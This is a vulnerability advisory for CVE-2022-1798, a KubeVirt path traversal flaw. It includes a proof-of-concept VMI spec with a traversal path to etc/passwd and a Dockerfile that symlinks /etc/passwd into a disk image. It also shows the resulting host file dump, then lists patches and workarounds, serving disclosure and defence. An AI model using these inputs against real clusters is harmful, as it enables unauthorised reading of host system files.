Headline
CVE-2022-1798: Arbitrary file read on host
A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.
Impact
Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:
- Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: spec.domain.firmware.kernelBoot.container.kernelPath, spec.domain.firmware.kernelBoot.container.initrdPath as well as spec.volumes[*].containerDisk.path.
Example:
apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1) kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes:
- containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) name: containerdisk
- containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) path: test3/…/…/…/…/…/…/…/…/etc/passwd name: containerdisk1
- cloudInitNoCloud: userData: | #!/bin/sh echo ‘just something to make cirros happy’ name: cloudinitdisk
- Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:
FROM <anybase> RUN mkdir -p /etc/ && touch /etc/passwd RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img
- KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.
In all three cases it is then possible to at lest read any host file:
$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
Patches
KubeVirt 0.55.1 provides patches to fix the vulnerability.
Workarounds
- Ensure that the HotplugVolumes feature-gate is disabled
- ContainerDisk support can’t be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that spec.domain.firmware.kernelBoot is not used on VirtualMachineInstances.|
- Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).
References
Disclosure notice form the discovering party: GHSA-cvx8-ppmc-78hm
For more information
For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:
- #8198
- #8268
Credits
Oliver Brooks and James Klopchic of NCC Group
Diane Dubois and Roman Mohr of Google
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